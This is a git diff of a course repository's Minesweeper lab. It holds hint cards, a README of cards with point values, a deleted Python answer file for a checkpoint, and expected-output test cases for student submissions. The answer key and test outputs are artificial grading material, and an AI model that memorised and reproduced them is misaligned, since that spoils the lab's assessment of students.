-
-### Step 3: Return a Tuple
-
-We need to return a three-element tuple consisting of the row number, col number and a boolean containing whether the move flags or not.
-
-```python
- return (int(move[1]), int(move[0]), move[-1] == "f")
-```
-
-Don't forget to type cast!
-
-### Step 4: Solution
-
-Here is the entire solution for `get_move`:
-
-```python
-def get_move(board):
- INSTRUCTIONS = ("First, enter the column, followed by the row. To add or remove a flag, add \"f\" after the row (for example, 64f would place a flag on the 6th column, 4th row). Enter your move: ")
-
- move = input("Enter your move (for help enter \"H\"):")
- if move == "H":
- move = input(INSTRUCTIONS)
-
- while not is_valid(move, board):
- move = input("Invalid input. Enter your move (for help enter \"H\"): ")
- if move == "H":
- move = input(INSTRUCTIONS)
-
- return (int(move[1]), int(move[0]), move[-1] == "f")
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/9-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/9-1-1.md
new file mode 100644
index 00000000..6adc8573
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/9-1-1.md
@@ -0,0 +1,94 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 9-1-1 Step 1
+### name
+```
+Creating your Board
+```
+### md_content
+```
+Create your board using `create_board`. Note that if we call `print` directly, the `__str__` method of `Board` automatically gets called!
+```
+### code_snippet
+```python
+SIZE = 7
+MINES = 9
+board = create_board(SIZE, MINES)
+print(board)
+```
+## 9-1-1 Step 2
+### name
+```
+While Checking for Conditions
+```
+### md_content
+```
+We know the game is still in session if `board.is_playing` is `True`. We also know the game is solved if `board.is_solved` is `False`, so those are our two conditions to continuously check for. From there we can assign multiple variables returned from `get_move` to get our IDs and `is_flag`.
+```
+### code_snippet
+```python
+while board.is_playing and not board.is_solved:
+ (row_id, col_id, is_flag) = get_move(board)
+```
+## 9-1-1 Step 3
+### name
+```
+Determining Whether to Show or Flag
+```
+### md_content
+```
+`is_flag` determines whether the move is a flag. If `is_flag` is `False`, then the only other possible move the user can do is `show` a cell.
+```
+### code_snippet
+```python
+ if not is_flag:
+ board.show(row_id, col_id)
+ else:
+ board.flag(row_id, col_id)
+ print(board)
+```
+## 9-1-1 Step 4
+### name
+```
+Handling End Results
+```
+### md_content
+```
+If the board is solved, print a congraulatory message. Otherwise the user had to show a mine, indicating a loss.
+```
+### code_snippet
+```
+ if board.is_solved:
+ print("Well done! You solved the board!")
+ else:
+ print("Uh oh! You blew up!")
+```
+## 9-1-1 Step 5
+### name
+```
+`main()` Implementation
+```
+### code_snippet
+```python
+def main():
+ SIZE = 7
+ MINES = 9
+ board = create_board(SIZE, MINES)
+ print(board)
+ while board.is_playing and not board.is_solved:
+ (row_id, col_id, is_flag) = get_move(board)
+ if not is_flag:
+ board.show(row_id, col_id)
+ else:
+ board.flag(row_id, col_id)
+ print(board)
+
+ if board.is_solved:
+ print("Well done! You solved the board!")
+ else:
+ print("Uh oh! You blew up!")
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/9-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/9-1.md
new file mode 100644
index 00000000..ad71f934
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/9-1.md
@@ -0,0 +1,23 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 9-1 Step 1
+### name
+```
+Necessary Functionalities
+```
+### md_content
+```
+Inside of `main()`, you are **creating a board**, **getting a move**, **showing a cell**, **flagging a cell**. Think about what functions you have implemented up to this point to use in `main()`. You have completed all the implementations already! It all comes down to how you call your functions.
+```
+## 9-1 Step 2
+### name
+```
+Printing a Board
+```
+### md_content
+```
+When you print an instance of a class, which function is automatically called?
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/9.md b/Module3_Labs/Lab3_Minesweeper/Cards/9.md
index b275e017..f042233b 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/9.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/9.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-

We are finally done building our Minesweeper game! The final step is to call everything properly in our `main` function.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/91.md b/Module3_Labs/Lab3_Minesweeper/Cards/91.md
deleted file mode 100644
index 898efc7e..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/91.md
+++ /dev/null
@@ -1,17 +0,0 @@
-## Functions to Use to implement `main()`
-
-### Step 1: Necessary Functionalities
-
-Inside of `main()`, you are **creating a board**, **getting a move**, **showing a cell**, **flagging a cell**. Think about what functions you have implemented up to this point to use in `main()`. You have completed all the implementations already! It all comes down to how you call your functions.
-
----
-
-picture: minesweeper flag and mine side by side
-
-### Step 2: Printing a Board
-
-When you print an instance of a class, which function is automatically called?
-
----
-
-picture: printer
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/911.md b/Module3_Labs/Lab3_Minesweeper/Cards/911.md
deleted file mode 100644
index 5c03f054..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/911.md
+++ /dev/null
@@ -1,69 +0,0 @@
-## `main()` Implemented
-
-### Step 1: Creating your Board
-
-Create your board using `create_board`.
-
-```python
-SIZE = 7
-MINES = 9
-board = create_board(SIZE, MINES)
-print(board)
-```
-
-Note that if we call `print` directly, the `__str__` method of `Board` automatically gets called!
-
-### Step 2: While Checking for Conditions
-
-We know the game is still in session if `board.is_playing` is `True`. We also know the game is solved if `board.is_solved` is `False`, so those are our two conditions to continuously check for. From there we can assign multiple variables returned from `get_move` to get our IDs and `is_flag`.
-
-```python
-while board.is_playing and not board.is_solved:
- (row_id, col_id, is_flag) = get_move(board)
-```
-
-### Step 3: Determining Whether to Show or Flag
-
-`is_flag` determines whether the move is a flag. If `is_flag` is `False`, then the only other possible move the user can do is `show` a cell.
-
-```python
- if not is_flag:
- board.show(row_id, col_id)
- else:
- board.flag(row_id, col_id)
- print(board)
-```
-
-### Step 4: Handling End Results
-
-If the board is solved, print a congraulatory message. Otherwise the user had to show a mine, indicating a loss.
-
-```
- if board.is_solved:
- print("Well done! You solved the board!")
- else:
- print("Uh oh! You blew up!")
-```
-
-### Step 5: `main()` Implementation
-
-```python
-def main():
- SIZE = 7
- MINES = 9
- board = create_board(SIZE, MINES)
- print(board)
- while board.is_playing and not board.is_solved:
- (row_id, col_id, is_flag) = get_move(board)
- if not is_flag:
- board.show(row_id, col_id)
- else:
- board.flag(row_id, col_id)
- print(board)
-
- if board.is_solved:
- print("Well done! You solved the board!")
- else:
- print("Uh oh! You blew up!")
-```
-
diff --git a/Module3_Labs/Lab3_Minesweeper/README.md b/Module3_Labs/Lab3_Minesweeper/README.md
new file mode 100644
index 00000000..0cc42adc
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/README.md
@@ -0,0 +1,376 @@
+# github_id
+1
+
+# name
+
+Minesweeper
+
+# description
+
+Utilize object oriented programming concepts to build the game, Mine Sweeper.
+
+# summary
+
+Students will use object-oriented structure to build the game, Mine Sweeper, while implementing an interactive interface between user and the program.
+
+# difficulty
+Hard
+
+# image
+
+
+# folder_path
+/Module3_Labs/Lab3_Minesweeper
+
+# cards
+## 1
+### name
+Introduction
+### order
+1
+### gems
+10
+
+## 2
+### name
+Example Output
+### order
+2
+### gems
+20
+
+## 3
+### name
+Cell Class
+### order
+3
+### gems
+100
+
+## 4
+### name
+Board Class: Helper Functions
+### order
+4
+### gems
+110
+
+## 5
+### name
+Board Class: Main Functions
+### order
+5
+### gems
+150
+
+## 6
+### name
+Create the board
+### order
+6
+### gems
+100
+
+## 7
+### name
+Input Validity
+### order
+7
+### gems
+50
+
+## 8
+### name
+Process user's input
+### order
+8
+### gems
+50
+
+## 9
+### name
+Putting together the program!
+### order
+9
+### gems
+100
+
+## 3-1
+### name
+Instance Variables
+### order
+1
+### gems
+15
+
+## 3-2
+### name
+Setters of the Cell class
+### order
+2
+### gems
+15
+
+## 4-1
+### name
+Simple helpers: `is_in_range` and `place_mine`
+### order
+1
+### gems
+6
+
+## 4-2
+### name
+`get_neighbors` Explained
+### order
+2
+### gems
+6
+
+## 4-3
+### name
+`remaining_mines` Explained
+### order
+3
+### gems
+6
+
+## 4-4
+### name
+`count_surrounding` Explained
+### order
+4
+### gems
+6
+
+## 5-1
+### name
+`is_solved`: How to determine winning
+### order
+1
+### gems
+6
+
+## 5-2
+### name
+Flagging cells using `flag()`
+### order
+2
+### gems
+6
+
+## 5-3
+### name
+`mine_repr()`: What should be printed for each tile?
+### order
+3
+### gems
+6
+
+## 5-4
+### name
+show(): How to make a cell visible
+### order
+4
+### gems
+6
+
+## 5-5
+### name
+show(): Showing Tiles with no neighboring mines using Recursion
+### order
+5
+### gems
+6
+
+## 5-6
+### name
+`__str__`: How to print the board
+### order
+6
+### gems
+6
+
+## 6-1
+### name
+Creating the Board: Hints
+### order
+1
+### gems
+30
+
+## 7-1
+### name
+Illuminating All Misinput Scenarios
+### order
+1
+### gems
+15
+
+## 8-1
+### name
+`get_move` Hints
+### order
+1
+### gems
+15
+
+## 9-1
+### name
+Functions to Use to implement `main()`
+### order
+1
+### gems
+30
+
+## 3-1-1
+### name
+Constructor of the Cell class
+### order
+1
+### gems
+30
+
+## 3-2-1
+### name
+Setters of the Cell class Explained
+### order
+1
+### gems
+30
+
+## 4-1-1
+### name
+`is_in_range` Code
+### order
+1
+### gems
+12
+
+## 4-1-2
+### name
+`place_mine` Code
+### order
+2
+### gems
+12
+
+## 4-2-1
+### name
+`SURROUNDING` Given
+### order
+1
+### gems
+12
+
+## 4-2-2
+### name
+Using `SURROUNDING` in Code
+### order
+2
+### gems
+12
+
+## 4-3-1
+### name
+`remaining_mines` Code
+### order
+1
+### gems
+12
+
+## 4-4-1
+### name
+`count_surrounding` Code
+### order
+1
+### gems
+12
+
+## 5-1-1
+### name
+`is_solved` Code
+### order
+1
+### gems
+13
+
+## 5-2-1
+### name
+flag() Code
+### order
+1
+### gems
+13
+
+## 5-3-1
+### name
+`mine_repr()` Code
+### order
+1
+### gems
+13
+
+## 5-4-1
+### name
+Code for making a cell visible
+### order
+1
+### gems
+13
+
+## 5-5-1
+### name
+Code for showing tiles with no adjacent mines
+### order
+1
+### gems
+13
+
+## 5-6-1
+### name
+Code to Print Out Remaining Mines & Column Headers
+### order
+1
+### gems
+13
+
+## 5-6-2
+### name
+Code to Print Out Row Headers and Cell Contents
+### order
+2
+### gems
+13
+
+## 6-1-1
+### name
+Creating the Board: Code
+### order
+1
+### gems
+60
+
+## 7-1-1
+### name
+Handling all Misinput Scenarios
+### order
+1
+### gems
+30
+
+## 8-1-1
+### name
+`get_move` Code
+### order
+1
+### gems
+30
+
+## 9-1-1
+### name
+`main()` Implemented
+### order
+1
+### gems
+60
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/checkpoint1_ans.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/checkpoint1_ans.py
deleted file mode 100644
index d7dab8c4..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/checkpoint1_ans.py
+++ /dev/null
@@ -1,178 +0,0 @@
-import random
-
-
-class Cell(object):
- def __init__(self, is_mine, is_visible=False, is_flagged=False):
- self.is_mine = is_mine
- self.is_visible = is_visible
- self.is_flagged = is_flagged
-
- def show(self):
- self.is_visible = True
-
- def flag(self):
- self.is_flagged = not self.is_flagged
-
- def place_mine(self):
- self.is_mine = True
-
-
-class Board(tuple):
- def __init__(self, tup):
- super().__init__()
- self.is_playing = True
-
- def mine_repr(self, row_id, col_id):
- cell = self[row_id][col_id]
- if cell.is_visible:
- if cell.is_mine:
- return "M"
- else:
- surr = self.count_surrounding(row_id, col_id)
- return str(surr) if surr else " "
- elif cell.is_flagged:
- return "F"
- else:
- return "X"
-
- def __str__(self):
- board_string = ("Mines: " + str(self.remaining_mines) + "\n " +
- "".join([str(i) for i in range(len(self[0]))]))
- for (row_id, row) in enumerate(self):
- board_string += ("\n" + str(row_id) + " " +
- "".join(self.mine_repr(row_id, col_id) for (col_id, _) in enumerate(row)) +
- " " + str(row_id))
- board_string += "\n " + "".join([str(i) for i in range(len(self[0]))])
- return board_string
-
- def show(self, row_id, col_id):
- cell = self[row_id][col_id]
- if not (cell.is_visible or cell.is_flagged):
- cell.show()
-
- if (cell.is_mine and not
- cell.is_flagged):
- self.is_playing = False
- elif self.count_surrounding(row_id, col_id) == 0:
- for (surr_row, surr_col) in self.get_neighbours(row_id, col_id):
- if self.is_in_range(surr_row, surr_col):
- self.show(surr_row, surr_col)
-
- def flag(self, row_id, col_id):
- cell = self[row_id][col_id]
- if not cell.is_visible:
- cell.flag()
- else:
- print("Cannot add flag, cell already visible.")
-
- def place_mine(self, row_id, col_id):
- self[row_id][col_id].place_mine()
-
- def count_surrounding(self, row_id, col_id):
- return sum(1 for (surr_row, surr_col) in self.get_neighbours(row_id, col_id)
- if (self.is_in_range(surr_row, surr_col) and
- self[surr_row][surr_col].is_mine))
-
- def get_neighbours(self, row_id, col_id):
- SURROUNDING = ((-1, -1), (-1, 0), (-1, 1),
- (0, -1), (0, 1),
- (1, -1), (1, 0), (1, 1))
- return ((row_id + surr_row, col_id + surr_col) for (surr_row, surr_col) in SURROUNDING)
-
- def is_in_range(self, row_id, col_id):
- return 0 <= row_id < len(self) and 0 <= col_id < len(self[0])
-
- @property
- def remaining_mines(self):
- remaining = 0
- for row in self:
- for cell in row:
- if cell.is_mine:
- remaining += 1
- if cell.is_flagged:
- remaining -= 1
- return remaining
-
- @property
- def is_solved(self):
- return all((cell.is_visible or cell.is_mine) for row in self for cell in row)
-
-
-def create_board(size, mines):
- board = Board(tuple([tuple([Cell(False) for i in range(size)])
- for j in range(size)]))
- available_pos = list(range((size - 1) * (size - 1)))
- for i in range(mines):
- new_pos = random.choice(available_pos)
- available_pos.remove(new_pos)
- (row_id, col_id) = (new_pos % size, new_pos // size)
- board.place_mine(row_id, col_id)
- return board
-
-
-"""
-# NOT NEEDED IN THIS CHECKPOINT!
-
-def get_move(board):
- INSTRUCTIONS = ("First, enter the column, followed by the row. To add or "
- "remove a flag, add \"f\" after the row (for example, 64f "
- "would place a flag on the 6th column, 4th row). Enter "
- "your move: ")
-
- move = input("Enter your move (for help enter \"H\"): ")
- if move == "H":
- move = input(INSTRUCTIONS)
-
- while not is_valid(move, board):
- move = input("Invalid input. Enter your move (for help enter \"H\"): ")
- if move == "H":
- move = input(INSTRUCTIONS)
-
- return (int(move[1]), int(move[0]), move[-1] == "f")
-
-
-def is_valid(move_input, board):
- if move_input == "H" or (len(move_input) not in (2, 3) or
- not move_input[:1].isdigit() or
- int(move_input[0]) not in range(len(board)) or
- int(move_input[1]) not in range(len(board))):
- return False
-
- if len(move_input) == 3 and move_input[2] != "f":
- return False
-
- return True
- """
-
-
-def main():
- SIZE = 9
- MINES = 10
- # for keeping board consistent
- random.seed(9)
- board = create_board(SIZE, MINES)
- board.show(3, 7)
- board.flag(0, 0)
- board.show(4, 0)
- board.show(6, 2)
- board.show(7, 2)
-
- print(board)
- """
- # NOT NEEDED IN THIS CHECKPOINT!
- while board.is_playing and not board.is_solved:
- (row_id, col_id, is_flag) = get_move(board)
- if not is_flag:
- board.show(row_id, col_id)
- else:
- board.flag(row_id, col_id)
- print(board)
-
- if board.is_solved:
- print("Well done! You solved the board!")
- else:
- print("Uh oh! You blew up!")
- """
-
-
-main()
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/test_cases_check1.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/test_cases_check1.py
deleted file mode 100644
index ac3c0962..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Checkpoint/test_cases_check1.py
+++ /dev/null
@@ -1,162 +0,0 @@
-
-"""
-Test Case 1
-def main():
- SIZE = 7
- MINES = 9
- board = create_board(SIZE, MINES)
- print(board)
-
-"""
-"""
-Test Case 1 - Results
-Mines: 9
- 0123456
-0 XXXXXXX 0
-1 XXXXXXX 1
-2 XXXXXXX 2
-3 XXXXXXX 3
-4 XXXXXXX 4
-5 XXXXXXX 5
-6 XXXXXXX 6
- 0123456
- """
-
-
-"""
-Test Case 2
-
-def main():
- SIZE = 7
- MINES = 9
- # for keeping board consistent
- random.seed(5)
- board = create_board(SIZE, MINES)
- board.show(2, 3)
- board.flag(4, 6)
- print(board)
-"""
-
-"""
-Test Case 2 - Results
-Mines: 8
- 0123456
-0 XXXXXXX 0
-1 XXXXXXX 1
-2 XXXMXXX 2
-3 XXXXXXX 3
-4 XXXXXXF 4
-5 XXXXXXX 5
-6 XXXXXXX 6
- 0123456
-
-"""
-
-
-"""
-Test Case 3
-
-def main():
- SIZE = 9
- MINES = 10
- # for keeping board consistent
- random.seed(9)
- board = create_board(SIZE, MINES)
- board.show(3, 7)
- board.flag(0, 0)
- print(board)
-
-"""
-
-
-"""
-Test Case 3 - Results
-
-Mines: 9
- 012345678
-0 F1 0
-1 X1 1
-2 X111221 2
-3 XXXXXX1 3
-4 XXXXXX21 4
-5 XXXXXXX1 5
-6 XXXXXXX2 6
-7 XXXXXXX1 7
-8 XXXXXXX1 8
- 012345678
-
-"""
-
-"""
-Test Case 4
-def main():
- SIZE = 9
- MINES = 10
- # for keeping board consistent
- random.seed(9)
- board = create_board(SIZE, MINES)
- board.show(3, 7)
- board.flag(0, 0)
- board.show(4, 0)
- board.show(6, 2)
- board.show(7, 2)
-
- print(board)
-
-"""
-
-"""
-Test Case 4 - Results
-
-Mines: 9
- 012345678
-0 F1 0
-1 X1 1
-2 X111221 2
-3 XXXXXX1 3
-4 1XXXXX21 4
-5 XXXXXXX1 5
-6 XX1XXXX2 6
-7 XX2XXXX1 7
-8 XXXXXXX1 8
- 012345678
-
-"""
-
-"""
-Test Case 5
-def main():
- SIZE = 9
- MINES = 10
- # for keeping board consistent
- random.seed(9)
- board = create_board(SIZE, MINES)
- board.show(3, 7)
- board.flag(0, 0)
- board.show(4, 0)
- board.show(6, 2)
- board.show(7, 2)
- board.flag(7, 0)
- board.show(4, 2)
- board.show(8, 4)
- board.show(8, 0)
- print(board)
-"""
-
-"""
-Test Case 5 - Results
-
-Mines: 8
- 012345678
-0 F1 0
-1 X1 1
-2 X111221 2
-3 XXXXXX1 3
-4 1X222321 4
-5 XXX1 1X1 5
-6 XX11 2X2 6
-7 FX21 1X1 7
-8 MXX1 1X1 8
- 012345678
-
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_1.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_1.py
deleted file mode 100644
index b16c2090..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_1.py
+++ /dev/null
@@ -1,41 +0,0 @@
-"""
-Test Case 1
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: instant loss
-SIZE = 10, MINES = 10, random.seed(2)
-"""
-
-"""
-Test Case 2 - Results
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 42
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXMXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_2.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_2.py
deleted file mode 100644
index f152ec91..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_2.py
+++ /dev/null
@@ -1,141 +0,0 @@
-"""
-Test Case 2
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Just flagging followed by instant loss
-SIZE = 10, MINES = 10, random.seed(7)
-"""
-
-"""
-Test Case 3 - Results
-
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 54f
-Mines: 9
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 78f
-Mines: 8
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXFXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 99f
-Mines: 7
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXFXX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 90f
-
-Mines: 6
- 0123456789
-0 XXXXXXXXXF 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXFXX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 00f
-Mines: 5
- 0123456789
-0 FXXXXXXXXF 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXFXX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 09f
-Mines: 4
- 0123456789
-0 FXXXXXXXXF 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXFXX 8
-9 FXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 77f
-Mines: 3
- 0123456789
-0 FXXXXXXXXF 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXFXX 8
-9 FXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 27
-Mines: 3
- 0123456789
-0 FXXXXXXXXF 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXFXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXMXXXXFXX 7
-8 XXXXXXXFXX 8
-9 FXXXXXXXXF 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_3.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_3.py
deleted file mode 100644
index e72e12b1..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_3.py
+++ /dev/null
@@ -1,111 +0,0 @@
-"""
-Test Case 3
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Trying to show already visible cells - should have no effect - then instant loss
-SIZE = 10, MINES = 10, random.seed(5)
-"""
-
-"""
-Test Case 4 - Results
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 54
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXX1XXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 78
-Mines: 10
- 0123456789
-0 1XXXXXXX 0
-1 12XXXXXXX 1
-2 2XXXXXXXX 2
-3 2XXXXXXXX 3
-4 1X211XXXX 4
-5 1X1 1111X 5
-6 1X1 2X 6
-7 111 2X 7
-8 11 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 99
-Mines: 10
- 0123456789
-0 1XXXXXXX 0
-1 12XXXXXXX 1
-2 2XXXXXXXX 2
-3 2XXXXXXXX 3
-4 1X211XXXX 4
-5 1X1 1111X 5
-6 1X1 2X 6
-7 111 2X 7
-8 11 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 67
-Mines: 10
- 0123456789
-0 1XXXXXXX 0
-1 12XXXXXXX 1
-2 2XXXXXXXX 2
-3 2XXXXXXXX 3
-4 1X211XXXX 4
-5 1X1 1111X 5
-6 1X1 2X 6
-7 111 2X 7
-8 11 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 54
-Mines: 10
- 0123456789
-0 1XXXXXXX 0
-1 12XXXXXXX 1
-2 2XXXXXXXX 2
-3 2XXXXXXXX 3
-4 1X211XXXX 4
-5 1X1 1111X 5
-6 1X1 2X 6
-7 111 2X 7
-8 11 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 64
-Mines: 10
- 0123456789
-0 1XXXXXXX 0
-1 12XXXXX1X 1
-2 2XXXXXXXX 2
-3 2XXXXXXXX 3
-4 1X211MXXX 4
-5 1X1 1111X 5
-6 1X1 2X 6
-7 111 2X 7
-8 11 8
-9 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_4.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_4.py
deleted file mode 100644
index efeaca0c..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_4.py
+++ /dev/null
@@ -1,64 +0,0 @@
-"""
-Test Case 4
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Testing invalid input and help case - should have no effect on the board - then instant loss
-SIZE = 10, MINES = 10, random.seed(5)
-"""
-
-"""
-Test Case 5 - Results
-
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 100
-Invalid input. Enter your move (for help enter "H"): -100
-Invalid input. Enter your move (for help enter "H"): 8f4
-Invalid input. Enter your move (for help enter "H"): 4561
-Invalid input. Enter your move (for help enter "H"): f43
-Invalid input. Enter your move (for help enter "H"): H12
-Invalid input. Enter your move (for help enter "H"): H
-First, enter the column, followed by the row. To add or remove a flag, add "f" after the row (for example, 64f would place a flag on the 6th column, 4th row). Enter your move: 98F
-Invalid input. Enter your move (for help enter "H"): 98f
-Mines: 9
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXF 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 64
-Mines: 9
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXMXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXF 8
-9 XXXXXXXXXX 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_5.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_5.py
deleted file mode 100644
index f9386410..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_5.py
+++ /dev/null
@@ -1,268 +0,0 @@
-"""
-Test Case 5
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Flagging more than maximum number of mines and showing flagged tiles, followed by instant loss
-SIZE = 10, MINES = 10, random.seed(5)
